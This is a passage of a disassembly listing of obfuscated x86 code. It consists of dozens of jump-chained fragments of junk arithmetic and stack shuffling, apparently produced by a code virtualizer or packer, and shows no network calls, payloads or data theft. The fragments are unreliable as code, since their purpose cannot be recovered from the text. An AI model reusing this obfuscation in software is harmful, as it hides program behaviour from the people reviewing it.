		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Eh+var_1E]
		pop	esp
		mov	[esp+1Ah+var_1A], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	ebx
		jmp	loc_59425C
; ---------------------------------------------------------------------------


loc_58EBE7:				; CODE XREF: sub_57DD3A+190F8j
		pop	esi
		sub	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 7BD67CE8h
		shl	ebp, 4
		shr	ebp, 8
		neg	ebp
		not	ebp
		add	ebp, 706606BEh
		add	ebp, 966ECF97h
		jmp	loc_5A08EF
; ---------------------------------------------------------------------------


loc_58EC0C:				; CODE XREF: sub_57DD3A+18189j
		push	26706A19h
		jmp	loc_59D7D8
; ---------------------------------------------------------------------------


loc_58EC16:				; CODE XREF: sub_57DD3A+17E64j
		dec	edi
		jmp	loc_5934E1
; ---------------------------------------------------------------------------


loc_58EC1C:				; CODE XREF: sub_57DD3A+24AE8j
		push	ecx
		sub	esp, 4
		mov	[esp+22h+var_22], esp
		add	[esp+22h+var_22], 4
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, 30C93024h
		add	ecx, edi
		sub	ecx, 30C93024h
		pop	edi
		xor	ecx, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], ecx
		jmp	loc_59719E
; ---------------------------------------------------------------------------


loc_58EC51:				; CODE XREF: sub_57DD3A+23887j
		mov	eax, 6AB0918h
		inc	eax
		or	eax, 72D7076Fh
		add	eax, 1
		xchg	eax, esi
		not	esi
		jmp	loc_592124
; ---------------------------------------------------------------------------


loc_58EC67:				; CODE XREF: sub_57DD3A+1A85Ej
		push	ebx
		mov	ebx, 733A11FEh
		shl	ebx, 1
		not	ebx
		sub	ebx, 198BDBFFh
		add	eax, ebx
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], edi
		jmp	loc_58F332
; ---------------------------------------------------------------------------


loc_58EC98:				; CODE XREF: sub_57DD3A+23488j
		pop	ebp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp+1Ah+var_1A]
		push	edx
		mov	edx, esp
		jmp	loc_598F10
; ---------------------------------------------------------------------------


loc_58ECAD:				; CODE XREF: sub_57DD3A+1A516j
		sub	edi, 71C4479Fh
		add	edi, 51840BCCh
		add	edi, ebx
		sub	edi, 51840BCCh
		jmp	loc_5911B2
; ---------------------------------------------------------------------------


loc_58ECC6:				; CODE XREF: sub_57DD3A+250CDj
		mov	edx, 205A688Fh
		xor	ebp, edx
		pop	edx
		jmp	loc_59ED9D
; ---------------------------------------------------------------------------


loc_58ECD3:				; CODE XREF: sub_57DD3A+13AD3j
		or	esi, 1E2D1FBDh
		add	esi, 57522592h
		not	esi
		sub	esi, 54652D3Fh
		add	ebx, esi
		pop	esi
		sub	ebx, eax
		push	eax
		mov	eax, 59BA5C3Eh
		dec	eax
		jmp	loc_59D1A9
; ---------------------------------------------------------------------------


loc_58ECF8:				; CODE XREF: sub_57DD3A+2452Aj
		sub	[esp+1Ah+var_12], 1FE86CE9h
		push	[esp+1Ah+var_1A]
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		push	56BDh
		mov	[esp+1Eh+var_1E], ebx
		jmp	loc_59470F
; ---------------------------------------------------------------------------


loc_58ED19:				; CODE XREF: sub_57DD3A+1B252j
		push	eax
		mov	ah, 17h
		jmp	loc_59BB37
; ---------------------------------------------------------------------------


loc_58ED21:				; CODE XREF: sub_57DD3A+14C99j
		xor	cl, 27h
		not	cl
		xor	cl, 0CBh
		add	al, 0ADh
		add	al, cl
		sub	al, 0ADh
		push	[esp+22h+var_22]
		mov	ecx, [esp+26h+var_26]
		add	esp, 4
		jmp	loc_58E86D
; ---------------------------------------------------------------------------


loc_58ED40:				; CODE XREF: sub_57DD3A+138BFj
		push	esi
		mov	esi, 0EAE4D7F8h
		mov	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		add	ebx, edi
		push	[esp+1Eh+var_1E]
		pop	edi
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		push	565Dh
		mov	[esp+1Ah+var_1A], esi
		push	edx
		push	ebx
		mov	ebx, 569D35E8h
		jmp	loc_59FAA3
; ---------------------------------------------------------------------------


loc_58ED6F:				; CODE XREF: sub_57DD3A+20848j
		push	5DC7h
		jmp	loc_598655
; ---------------------------------------------------------------------------


loc_58ED79:				; CODE XREF: sub_57DD3A+205F6j
		add	ebx, edx
		jmp	loc_597A8A
; ---------------------------------------------------------------------------


loc_58ED80:				; CODE XREF: sub_57DD3A+231DAj
		popf
		jmp	locret_59200C
; ---------------------------------------------------------------------------


loc_58ED86:				; CODE XREF: sub_57DD3A+180DCj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+22h+var_22]
		pop	esp
		jmp	loc_591C69
; ---------------------------------------------------------------------------


loc_58ED98:				; CODE XREF: sub_57DD3A+1B987j
		push	[esp+1Eh+var_1E]
		pop	edx
		push	54B0h
		mov	[esp+22h+var_22], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+26h+var_26], ebp
		jmp	loc_595BD6
; ---------------------------------------------------------------------------


loc_58EDB7:				; CODE XREF: sub_57DD3A+17BA6j
		mov	ebx, 0
		jmp	loc_59F62B
; ---------------------------------------------------------------------------


loc_58EDC1:				; CODE XREF: sub_57DD3A+183A6j
		pop	[esp+26h+var_26]
		pop	esp
		mov	[esp+1Eh+var_1E], eax
		jmp	loc_5999DA
; ---------------------------------------------------------------------------


loc_58EDCD:				; CODE XREF: sub_57DD3A+20F8Cj
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+22h+var_1E]
		pop	ebx
		pop	[esp+22h+var_22]
		jmp	loc_59A911
; ---------------------------------------------------------------------------


loc_58EDE4:				; CODE XREF: sub_57DD3A+1A9C7j
		pop	eax
		jmp	loc_5A1448
; ---------------------------------------------------------------------------


loc_58EDEA:				; CODE XREF: sub_57DD3A+1549Fj
		push	ebx
		push	[esp+1Eh+var_1A]
		jmp	loc_59A6F0
; ---------------------------------------------------------------------------


loc_58EDF4:				; CODE XREF: sub_57DD3A+2524Dj
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		push	esi
		mov	esi, 7E2B3044h
		push	eax
		push	20C7752Fh
		pop	eax
		not	eax
		neg	eax
		shl	eax, 4
		xor	eax, 8D1CDF80h
		mov	ebx, eax
		pop	eax
		sub	ebx, esi
		jmp	loc_591A4A
; ---------------------------------------------------------------------------


loc_58EE1D:				; CODE XREF: sub_57DD3A+247C6j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58EE22:				; CODE XREF: sub_57DD3A+12210j
		push	esp
		jmp	loc_594DEE
; ---------------------------------------------------------------------------


loc_58EE28:				; CODE XREF: sub_57DD3A+23D00j
		push	1DB2h
		mov	[esp+2Ah+var_2A], edx
		jmp	loc_593448
; ---------------------------------------------------------------------------


loc_58EE35:				; CODE XREF: sub_57DD3A+1ADC0j
		mov	edi, 0A75600Fh
		push	455h
		mov	[esp+2Eh+var_2E], ebp
		mov	ebp, 0
		add	ebp, 554F4EFFh
		jmp	loc_59FB57
; ---------------------------------------------------------------------------


loc_58EE52:				; CODE XREF: sub_57DD3A+1B318j
		mov	eax, 67186B57h
		push	edx
		mov	edx, 63BB6011h
		sub	eax, edx
		pop	edx
		xchg	eax, esi
		neg	esi
		xchg	eax, esi
		xor	eax, 55006942h
		shl	eax, 8
		jmp	loc_59A296
; ---------------------------------------------------------------------------


loc_58EE71:				; CODE XREF: sub_57DD3A+185E2j
		dec	edx
		xor	edx, 5AC7120Fh
		add	edx, 4AAE173Ah
		shr	edx, 5
		shl	edx, 8
		jmp	loc_595F29
; ---------------------------------------------------------------------------


loc_58EE89:				; CODE XREF: sub_57DD3A+24F84j
		add	esi, 3A4E1485h
		jmp	loc_58F29E
; ---------------------------------------------------------------------------


loc_58EE94:				; CODE XREF: sub_57DD3A+21454j
		push	2B62h
		mov	[esp+32h+var_32], esi
		jmp	loc_59A001
; ---------------------------------------------------------------------------


loc_58EEA1:				; CODE XREF: sub_57DD3A+22E84j
		push	1C7h
		mov	[esp+36h+var_36], eax
		mov	eax, 0
		add	eax, edx
		xor	[eax], ebx
		pop	eax
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		xor	ebx, [edi+24h]
		jmp	loc_596681
; ---------------------------------------------------------------------------


loc_58EEC1:				; CODE XREF: sub_57DD3A+1A7E9j
		pop	eax
		sub	esp, 4
		mov	[esp+2Eh+var_2E], edi
		push	esp
		pop	edi
		add	edi, 4
		push	7DF2h
		mov	[esp+32h+var_32], ecx
		push	esi
		jmp	loc_596744
; ---------------------------------------------------------------------------


loc_58EEE1:				; CODE XREF: sub_57DD3A+24947j
		bt	[esp+36h+var_36], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58EEEB:				; CODE XREF: sub_57DD3A+143CBj
		and	ecx, 43697B25h
		sub	ecx, 0E96C1910h
		mov	eax, ecx
		jmp	loc_59FCE2
; ---------------------------------------------------------------------------


loc_58EEFE:				; CODE XREF: sub_57DD3A+23497j
		add	esp, 4
		shl	edx, 4
		add	edx, 748666B1h
		inc	edx
		jmp	loc_59B678
; ---------------------------------------------------------------------------


loc_58EF13:				; CODE XREF: sub_57DD3A+1E101j
		sub	eax, ecx
		jmp	loc_591687
; ---------------------------------------------------------------------------


loc_58EF1A:				; CODE XREF: sub_57DD3A+1B3C7j
		push	4143h
		mov	[esp+3Ah+var_3A], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+3Ah+var_3A]
		jmp	loc_59783B
; ---------------------------------------------------------------------------


loc_58EF35:				; CODE XREF: sub_57DD3A+23FACj
		push	edi
		jmp	loc_599E32
; ---------------------------------------------------------------------------


loc_58EF3B:				; CODE XREF: sub_57DD3A+1AB7Fj
		pop	[esp+3Eh+var_3E]
		pop	esp
		shr	eax, 0Ch
		jmp	loc_58E5B8
; ---------------------------------------------------------------------------


loc_58EF47:				; CODE XREF: sub_57DD3A+1726Cj
		not	edi
		not	edi
		push	ebp
		mov	ebp, 5FC2276Bh
		or	ebp, 33625C0Fh
		dec	ebp
		inc	ebp
		add	ebp, 4F2716C6h
		sub	ebp, 7A0A36F3h
		add	edi, ebp
		pop	ebp
		jmp	loc_5A31F8
; ---------------------------------------------------------------------------


loc_58EF6D:				; CODE XREF: sub_57DD3A+1DE8Cj
		push	74106232h
		pop	ebx
		or	ebx, 5727580Dh
		xor	ebx, 77377A3Bh
		mov	ebp, ebx
		jmp	loc_59E44B
; ---------------------------------------------------------------------------


loc_58EF86:				; CODE XREF: sub_57DD3A+11D52j
		push	ebp
		jmp	loc_58FB51
; ---------------------------------------------------------------------------


loc_58EF8C:				; CODE XREF: sub_57DD3A+16BB5j
		pop	edi
		jmp	loc_59CA1A
; ---------------------------------------------------------------------------


loc_58EF92:				; CODE XREF: sub_57DD3A+1ECDBj
		push	ebp
		jmp	loc_59E66F
; ---------------------------------------------------------------------------


loc_58EF98:				; CODE XREF: sub_57DD3A+17159j
		mov	[esp+3Ah+var_3A], edx
		push	eax
		jmp	loc_59AE4D
; ---------------------------------------------------------------------------


loc_58EFA1:				; CODE XREF: sub_57DD3A+1A572j
		push	ecx
		mov	ecx, 8AE03F4h
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		neg	ecx
		sub	ecx, 6C690604h
		sub	ecx, 809AE7C0h
		push	eax
		mov	eax, 3AB06318h
		and	eax, 1EB333F6h
		add	eax, 28EA2A6Fh
		and	eax, 5C392F7Ch
		jmp	loc_599DCD
; ---------------------------------------------------------------------------


loc_58EFD5:				; CODE XREF: sub_57DD3A+134DEj
		shr	ebx, 5
		jmp	loc_59E22E
; ---------------------------------------------------------------------------


loc_58EFDD:				; CODE XREF: sub_57DD3A+16E4Fj
		or	ecx, ebx
		pop	ebx
		push	edi
		jmp	loc_59C927
; ---------------------------------------------------------------------------
		push	small 5AD1h
		mov	[esp+0], bx
		jmp	loc_59B373
; ---------------------------------------------------------------------------


loc_58EFF3:				; CODE XREF: sub_57DD3A+1B6E7j
		push	3BE93C91h
		pop	ebp
		xor	ebp, 3BE93C95h
		push	ebp
		pop	esi
		pop	ebp
		add	ebp, esi
		pop	esi
		jmp	loc_59085B
; ---------------------------------------------------------------------------


loc_58F00A:				; CODE XREF: sub_57DD3A+1F241j
		add	edi, 4
		jmp	loc_59B63B
; ---------------------------------------------------------------------------


loc_58F015:				; CODE XREF: sub_57DD3A+1E1CEj
		mov	esp, [esp+40h+var_42+2]
		jmp	loc_5911D8
; ---------------------------------------------------------------------------


loc_58F01D:				; CODE XREF: sub_57DD3A+13C26j
		not	eax
		sub	eax, 0D4EC1D03h
		mov	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp+38h+var_3A+2]
		pop	esp
		jmp	loc_59D54B
; ---------------------------------------------------------------------------


loc_58F036:				; CODE XREF: sub_57DD3A+18D25j
		mov	[esp+34h+var_36+2], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_58F717
; ---------------------------------------------------------------------------


loc_58F04D:				; CODE XREF: sub_57DD3A+19F59j
		push	ebx
		push	[esp+3Ch+var_3A+2]
		pop	ebx
		jmp	loc_598646
; ---------------------------------------------------------------------------


loc_58F058:				; CODE XREF: sub_57DD3A+215B4j
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5926E4
; ---------------------------------------------------------------------------


loc_58F066:				; CODE XREF: sub_57DD3A+16E20j
		shr	edx, 4
		not	edx
		sub	edx, 34BF0B9Dh
		jmp	loc_594BCC
; ---------------------------------------------------------------------------


loc_58F076:				; CODE XREF: sub_57DD3A+1AFD5j
		pop	ecx
		jmp	loc_59C8FE
; ---------------------------------------------------------------------------


loc_58F07C:				; CODE XREF: sub_57DD3A+1DC7Aj
		sub	[esp+38h+var_36+2], 5DB23B3Fh
		jmp	loc_5A2A1C
; ---------------------------------------------------------------------------


loc_58F089:				; CODE XREF: sub_57DD3A+122A2j
		push	esi
		push	edx
		jmp	loc_59C3C3
; ---------------------------------------------------------------------------


loc_58F090:				; CODE XREF: sub_57DD3A+18DF5j
		mov	eax, 7B387895h
		jmp	loc_58F3B6
; ---------------------------------------------------------------------------


loc_58F09A:				; CODE XREF: sub_57DD3A+1FFC6j
		push	edi
		mov	edi, 18F47942h
		xor	ebx, edi
		pop	edi
		pop	edx
		jmp	loc_594466
; ---------------------------------------------------------------------------


loc_58F0A9:				; CODE XREF: sub_57DD3A+227C6j
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], eax
		mov	eax, 3B936394h
		add	ecx, eax
		pop	eax
		sub	ecx, esi
		sub	ecx, 3B936394h
		add	ecx, 156433D2h
		mov	esi, [esp+38h+var_3A+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ecx
		push	[esp+38h+var_36+2]
		mov	ecx, [esp+3Ch+var_3E+2]
		jmp	loc_597B4E
; ---------------------------------------------------------------------------


loc_58F0EC:				; CODE XREF: sub_57DD3A+1ADB8j
		mov	[esp+3Ch+var_3E+2], eax
		push	ecx
		jmp	loc_5A0529
; ---------------------------------------------------------------------------


loc_58F0F5:				; CODE XREF: sub_57DD3A+24F1Aj
		push	[esp+40h+var_42+2]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 557D6852h
		not	ebx
		sub	ebx, 0AA8297A9h
		jmp	loc_5A0A09
; ---------------------------------------------------------------------------


loc_58F10F:				; CODE XREF: sub_57DD3A+1CD5Fj
		pop	dx
		neg	dx
		neg	dx
		add	dx, 7293h
		add	bx, dx
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		jmp	loc_59D1D3
; ---------------------------------------------------------------------------


loc_58F12A:				; CODE XREF: sub_57DD3A+1CBD2j
		mov	ebx, edx
		jmp	loc_5900A1
; ---------------------------------------------------------------------------


loc_58F131:				; CODE XREF: sub_57DD3A+23471j
		mov	eax, 58512BEAh
		or	eax, 14B32C36h
		jmp	loc_58F927
; ---------------------------------------------------------------------------


loc_58F140:				; CODE XREF: sub_57DD3A+22868j
		mov	ebx, ecx
		jmp	loc_59F300
; ---------------------------------------------------------------------------


loc_58F147:				; CODE XREF: sub_57DD3A+1E548j
		push	7009h
		mov	[esp+46h+var_46], ebx
		push	ecx
		jmp	loc_59C4D5
; ---------------------------------------------------------------------------


loc_58F155:				; CODE XREF: sub_57DD3A+19F90j
		mov	ecx, 4
		sub	eax, 13474E94h
		push	ecx
		mov	ecx, 3A442AEAh
		jmp	loc_59877F
; ---------------------------------------------------------------------------


loc_58F16A:				; CODE XREF: sub_57DD3A+23010j
		add	esi, 0B3DCC4BEh
		jmp	loc_59B8CA
; ---------------------------------------------------------------------------


loc_58F175:				; CODE XREF: sub_57DD3A+1A33Fj
		add	eax, 4
		push	32DEh
		mov	[esp+52h+var_54+2], ebp
		push	0B55h
		jmp	loc_590110
; ---------------------------------------------------------------------------


loc_58F18C:				; CODE XREF: sub_57DD3A+24371j
		add	ebp, edx
		pop	edx
		push	edx
		jmp	loc_5981C7
; ---------------------------------------------------------------------------


loc_58F195:				; CODE XREF: sub_57DD3A+1E91Fj
		push	182Eh
		jmp	loc_594735
; ---------------------------------------------------------------------------


loc_58F19F:				; CODE XREF: sub_57DD3A+10C92j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		push	5F57h
		mov	[esp+0Ch+var_E+2], esp
		add	[esp+0Ch+var_E+2], 4
		pop	esi
		push	eax
		jmp	loc_5940A4
; ---------------------------------------------------------------------------


loc_58F1BD:				; CODE XREF: sub_57DD3A+1E110j
		push	12B2h
		mov	[esp+10h+var_12+2], ebx
		mov	bl, dh
		mov	ch, bl
		pop	ebx
		jmp	loc_59F60C
; ---------------------------------------------------------------------------


loc_58F1CF:				; CODE XREF: sub_57DD3A+1786Bj
		mov	esi, esp
		push	1504h
		jmp	loc_59FFD8
; ---------------------------------------------------------------------------


loc_58F1DB:				; CODE XREF: sub_57DD3A+1E8F2j
		push	esp
		push	[esp+14h+var_16+2]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebp
		jmp	loc_59F3B4
; ---------------------------------------------------------------------------


loc_58F1F7:				; CODE XREF: sub_57DD3A+179E6j
		mov	edx, 35D210F3h
		xor	edx, 21936289h
		sub	eax, 68C90D3Eh
		add	eax, edx
		add	eax, 68C90D3Eh
		mov	edx, [esp+14h+var_16+2]
		jmp	loc_5961C1
; ---------------------------------------------------------------------------


loc_58F216:				; CODE XREF: sub_57DD3A+164B7j
		pop	esi
		pop	ecx
		push	3D3Fh
		jmp	loc_59DE2F
; ---------------------------------------------------------------------------


loc_58F222:				; CODE XREF: sub_57DD3A+1B29Dj
		mov	dh, 0B8h
		not	dh
		inc	dh
		not	dh
		add	dh, 0FAh
		jmp	loc_593355
; ---------------------------------------------------------------------------


loc_58F232:				; CODE XREF: sub_57DD3A+1E1A8j
		sub	eax, 5110560Dh
		add	eax, edi
		push	ebx
		mov	ebx, 68D477D3h
		sub	ebx, 6AF46379h
		add	ebx, 4B76013Bh
		inc	ebx
		jmp	loc_59EED5
; ---------------------------------------------------------------------------


loc_58F251:				; CODE XREF: sub_57DD3A+214A6j
		push	3DFB6DC2h
		pop	esi
		and	esi, 76147260h
		shr	esi, 7
		add	esi, 5A880D77h
		push	esi
		pop	eax
		pop	esi
		mov	ebp, 0D2EC2337h
		jmp	loc_59B37D
; ---------------------------------------------------------------------------


loc_58F273:				; CODE XREF: sub_57DD3A+13637j
		mov	dh, 0ADh
		sub	dh, 8Ah
		dec	dh
		not	dh
		jmp	loc_595E66
; ---------------------------------------------------------------------------


loc_58F281:				; CODE XREF: sub_57DD3A+1F0F4j
		mov	[esp+10h+var_12+2], edx
		mov	edx, ecx
		mov	ebx, edx
		pop	edx
		push	[esp+0Ch+var_E+2]
		pop	ecx
		add	esp, 4
		add	esi, ebx
		pop	ebx
		push	esi
		push	[esp+8+var_4]
		pop	esi
		jmp	loc_592857
; ---------------------------------------------------------------------------


loc_58F29E:				; CODE XREF: sub_57DD3A+11155j
		add	eax, esi
		jmp	loc_59F5A5
; ---------------------------------------------------------------------------


loc_58F2A5:				; CODE XREF: sub_57DD3A+17E2Aj
		sub	esp, 4
		jmp	loc_5A1E4B
; ---------------------------------------------------------------------------


loc_58F2B0:				; CODE XREF: sub_57DD3A+1784Aj
		neg	ecx
		xor	ecx, 94D8D431h
		jmp	loc_58FD36
; ---------------------------------------------------------------------------


loc_58F2BD:				; CODE XREF: sub_57DD3A+13BECj
		add	ebp, 78E30566h
		add	ebp, eax
		sub	ebp, 78E30566h
		push	[esp+32h+var_32]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_597A29
; ---------------------------------------------------------------------------


loc_58F2D8:				; CODE XREF: sub_57DD3A+1AF80j
		xor	[esp+3Ah+var_3A], edi
		xor	edi, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		push	5874h
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 5DD93EE6h
		push	eax
		push	edx
		mov	edx, 0B6706D7h
		mov	eax, edx
		pop	edx
		shl	eax, 6
		add	eax, 0FFFFFFFFh
		xor	eax, 64F2C03h
		shl	eax, 4
		push	0
		sub	[esp+46h+var_46], eax
		jmp	loc_595ABC
; ---------------------------------------------------------------------------


loc_58F315:				; CODE XREF: sub_57DD3A+17CC0j
		pop	eax
		push	esi
		mov	esi, 415250ACh
		shr	esi, 7
		or	esi, 159F1385h
		add	esi, 577B6AD7h
		sub	eax, esi
		jmp	loc_58E75D
; ---------------------------------------------------------------------------


loc_58F332:				; CODE XREF: sub_57DD3A+10F59j
		mov	edi, 2
		sub	eax, 20840F02h
		add	eax, edi
		push	11A6h
		jmp	loc_594835
; ---------------------------------------------------------------------------


loc_58F348:				; CODE XREF: sub_57DD3A+1D9A0j
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		add	[esp+22h+var_22], 4C3F34E3h
		push	[esp+22h+var_22]
		jmp	loc_59187D
; ---------------------------------------------------------------------------


loc_58F363:				; CODE XREF: sub_57DD3A+229ACj
		pop	eax
		or	eax, 656C591Dh
		add	eax, 6D1947F0h
		push	ecx
		mov	ecx, 6CA144EBh
		sub	eax, ecx
		pop	ecx
		mov	ebp, eax
		pop	eax
		xor	eax, ebp
		mov	ebp, [esp+1Eh+var_1E]
		add	esp, 4
		push	5716h
		mov	[esp+1Eh+var_1E], esi
		jmp	loc_5A1CCA
; ---------------------------------------------------------------------------


loc_58F392:				; CODE XREF: sub_57DD3A+18F52j
		push	205Ch
		mov	[esp+22h+var_22], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	7D54h
		mov	[esp+26h+var_26], ebp
		push	edx
		mov	edx, 77265CC5h
		push	edx
		jmp	loc_59722C
; ---------------------------------------------------------------------------


loc_58F3B6:				; CODE XREF: sub_57DD3A+1135Bj
		neg	eax
		add	eax, 38B93D3Fh
		jmp	loc_5A0AD3
; ---------------------------------------------------------------------------


loc_58F3C2:				; CODE XREF: sub_57DD3A+253B6j
		push	eax
		mov	eax, 14084A55h
		add	edx, eax
		pop	eax
		pop	ecx
		jmp	loc_59B4A5
; ---------------------------------------------------------------------------


loc_58F3D1:				; CODE XREF: sub_57DD3A+1B687j
		push	40h
		jmp	loc_59CB54
; ---------------------------------------------------------------------------


loc_58F3DB:				; CODE XREF: sub_57DD3A+21DCAj
		pop	esi
		sub	esp, 4
		mov	[esp+40h+var_42+2], edi
		mov	edi, 1A41ACEh
		add	edx, edi
		pop	edi
		push	ebp
		jmp	loc_59DBD8
; ---------------------------------------------------------------------------
		push	[esp+40h+var_42+2]
		pop	eax
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_596D24
; ---------------------------------------------------------------------------


loc_58F40B:				; CODE XREF: sub_57DD3A+1C4F6j
		add	ecx, 0AC0B7552h
		add	edi, 132002E2h
		jmp	loc_59A8D1
; ---------------------------------------------------------------------------


loc_58F41C:				; CODE XREF: sub_57DD3A+2009Bj
		pop	ebp
		mov	ebx, edi
		pop	edi
		push	edi
		jmp	loc_593F1C
; ---------------------------------------------------------------------------


loc_58F426:				; CODE XREF: sub_57DD3A+1D294j
		pop	ecx
		push	edx
		xor	[esp+44h+var_46+2], 669B0A55h
		jmp	loc_591479
; ---------------------------------------------------------------------------


loc_58F434:				; CODE XREF: sub_57DD3A+132D9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_59543A
; ---------------------------------------------------------------------------


loc_58F44D:				; CODE XREF: sub_57DD3A+23874j
		mov	[esp+0], esi
		push	esp
		pop	esi
		jmp	loc_59D2B3
; ---------------------------------------------------------------------------


loc_58F457:				; CODE XREF: sub_57DD3A+23021j
		neg	ebx
		jmp	loc_599444
; ---------------------------------------------------------------------------


loc_58F45E:				; CODE XREF: sub_57DD3A+1E379j
		sub	[edi+24h], esi
		push	dword ptr [esp+0]
		pop	esi
		push	ecx
		jmp	loc_58FE85
; ---------------------------------------------------------------------------


loc_58F46B:				; CODE XREF: sub_57DD3A+19AB9j
		mov	esi, 70742FBBh
		xor	esi, 14DE1C57h
		push	edx
		push	ebx
		mov	ebx, 2CEA2EA9h
		shr	ebx, 6
		and	ebx, 187648Ah
		sub	ebx, 0F0BEB96Fh
		mov	edx, ebx
		pop	ebx
		shl	edx, 8
		xor	edx, 0D02B151Ah
		sub	esi, edx
		jmp	loc_5941E8
; ---------------------------------------------------------------------------


loc_58F49F:				; CODE XREF: sub_57DD3A+118A6j
		mov	[esp+50h+var_50], edi
		sub	esp, 4
		mov	[esp+54h+var_54], ebp
		push	3DF93051h
		pop	ebp
		dec	ebp
		jmp	loc_5A0028
; ---------------------------------------------------------------------------


loc_58F4B7:				; CODE XREF: sub_57DD3A+178D1j
		sub	ah, 38h
		xor	ah, 0Eh
		add	dh, ah
		jmp	loc_59DDF8
; ---------------------------------------------------------------------------


loc_58F4C4:				; CODE XREF: sub_57DD3A+1F41Dj
		mov	edx, 971449Ah
		push	ebp
		mov	ebp, 2BD73758h
		or	ebp, 2F476364h
		add	ebp, 4AF440Fh
		jmp	loc_595092
; ---------------------------------------------------------------------------


loc_58F4E0:				; CODE XREF: sub_57DD3A+23F57j
		push	331Fh
		mov	[esp+5Ch+var_5C], ebx
		mov	ebx, 66B7727h
		push	551Ch
		mov	[esp+60h+var_60], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 331336A8h
		sub	ecx, 331336A4h
		jmp	loc_593B0F
; ---------------------------------------------------------------------------


loc_58F508:				; CODE XREF: sub_57DD3A+154D8j
		add	esi, 1E585713h
		pop	ebx
		jmp	loc_5A1681
; ---------------------------------------------------------------------------


loc_58F514:				; CODE XREF: sub_57DD3A+1D67Fj
		add	esp, 4
		push	ebx
		jmp	loc_590AD9
; ---------------------------------------------------------------------------


loc_58F51D:				; CODE XREF: sub_57DD3A+203D1j
		mov	[esp+60h+var_60], ecx
		mov	cl, 99h
		mov	dh, cl
		pop	ecx
		push	63A9h
		mov	[esp+60h+var_60], eax
		jmp	loc_5A0823
; ---------------------------------------------------------------------------


loc_58F532:				; CODE XREF: sub_57DD3A+1DCAAj
		add	ebp, ecx
		pop	ecx
		jmp	loc_5916D1
; ---------------------------------------------------------------------------


loc_58F53A:				; CODE XREF: sub_57DD3A+23927j
		sub	ebx, 53F569FAh
		or	ebx, 1D1A2FF8h
		add	ebx, 0C0841006h
		jmp	loc_595276
; ---------------------------------------------------------------------------


loc_58F551:				; CODE XREF: sub_57DD3A+23DADj
		push	edx
		push	edi
		jmp	loc_596520
; ---------------------------------------------------------------------------


loc_58F558:				; CODE XREF: sub_57DD3A+206B3j
		mov	[esp+64h+var_64], edx
		jmp	loc_5A1082
; ---------------------------------------------------------------------------


loc_58F560:				; CODE XREF: sub_57DD3A+23DD0j
		push	[esp+64h+var_60]
		push	[esp+68h+var_68]
		pop	ecx
		jmp	loc_58E65C
; ---------------------------------------------------------------------------


loc_58F56D:				; CODE XREF: sub_57DD3A+1A448j
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 7ACD3723h
		and	ecx, 7A7A10AFh
		sub	ecx, 553C397Dh
		sub	ecx, 250BD6A2h
		jmp	loc_591EBD
; ---------------------------------------------------------------------------


loc_58F597:				; CODE XREF: sub_57DD3A+1DF4Cj
		mov	eax, ebx
		pop	ebx
		push	eax
		mov	eax, 101932BEh
		add	edi, eax
		pop	eax
		sub	edi, eax
		push	4993h
		mov	[esp+70h+var_70], esi
		mov	esi, 7226004Eh
		sub	esi, 4A66637Ch
		sub	esi, 54797F0Eh
		dec	esi
		jmp	loc_5910FF
; ---------------------------------------------------------------------------


loc_58F5C4:				; CODE XREF: sub_57DD3A+21113j
		push	[esp+70h+var_70]
		mov	eax, [esp+74h+var_74]
		add	esp, 4
		jmp	loc_598260
; ---------------------------------------------------------------------------


loc_58F5D5:				; CODE XREF: sub_57DD3A+19D33j
		add	esp, 4
		push	17EFh
		jmp	loc_58F49F
; ---------------------------------------------------------------------------


